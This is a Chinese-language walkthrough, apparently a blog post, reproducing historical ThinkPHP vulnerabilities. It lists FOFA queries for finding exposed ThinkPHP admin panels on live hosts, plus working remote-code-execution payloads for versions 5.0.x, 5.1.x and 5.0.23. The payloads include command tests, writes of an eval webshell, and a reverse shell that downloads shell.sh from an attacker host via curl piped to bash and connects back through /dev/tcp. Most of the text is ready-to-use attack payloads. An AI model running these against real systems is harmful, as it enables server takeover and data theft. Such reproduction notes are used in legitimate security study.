ThinkPHP历史漏洞复现
ThinkPHP简介
Thinkphp 是一种开源框架。是一个由国人开发的支持 windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。
很多cms就是基于 thinkphp 二次开发的,所以 thinkphp 出问题的话,会影响很多基于 thinkphp开发的网站。例如:KenCMS、ThinkCMF、DuxCMS、易优CMS。
版本 | 漏洞 |
---|---|
ThinkPHP3.2.3 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP3.2.3 | 最新版update注入漏洞 |
ThinkPHP3.2.X | find_select_delete注入 |
ThinkPHP3.X | order_by注入漏洞 |
ThinkPHP5.0.X | sql注入漏洞 |
ThinkPHP5.0.10 | 缓存函数设计缺陷可导致Getshell |
ThinkPHP5 | SQL注入漏洞&&敏感信息泄露 |
ThinkPHP5.X | order_by注入漏洞 |
ThinkPHP5.X | 远程代码执行 |
发现漏洞
1.fofa搜索语句
header="thinkphp" && country="US"
header="thinkphp" && country="US" && title="后台管理"
header="thinkphp" && country="CN" && title="后台管理" && after="2021-01-01"
2.默认页面,可以看到版本信息,用/?s=aaa来测试
在kali里找thinkphp的poc
searchsploit thinkphp
//找到poc文件的绝对路径
searchsploit -p 46150.txt
//找到文件
cd /usr/share/exploitdb/exploits/php/webapps/
cat 46150.txt
5.0.* 版本漏洞复现
常用poc
1.测试
/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2.getshell
/index.php? s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>
3.访问http://ip:8080/shell.php,用hackbar工具去测试。
5.1.* 版本漏洞复现
常用poc
1.测试
/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
2.getshell
/index.php? s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
thinkphp 5.0.23漏洞复现
1.使用s=captcha 触发,然后使用hackbar去输入对应的poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
2.写入shell,然后访问1.php
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php
3.可以反弹shell,先写个Shell.sh文件,bash -i >& /dev/tcp/192.168.42.132/9090 0>&1
//攻击机上开启http服务
python3 -m http.server
//网页上进行请求下载攻击机上的shell.sh文件
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.42.132:8000/shell.sh | bash
//开启监听9090端口,执行上面的poc就可以弹回shell